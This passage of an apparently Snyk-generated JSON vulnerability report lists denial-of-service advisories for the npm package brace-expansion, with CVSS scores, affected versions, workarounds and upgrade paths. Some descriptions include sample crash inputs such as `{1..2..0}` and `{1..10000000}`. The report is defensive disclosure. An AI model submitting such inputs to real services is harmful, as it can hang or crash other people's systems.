allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, 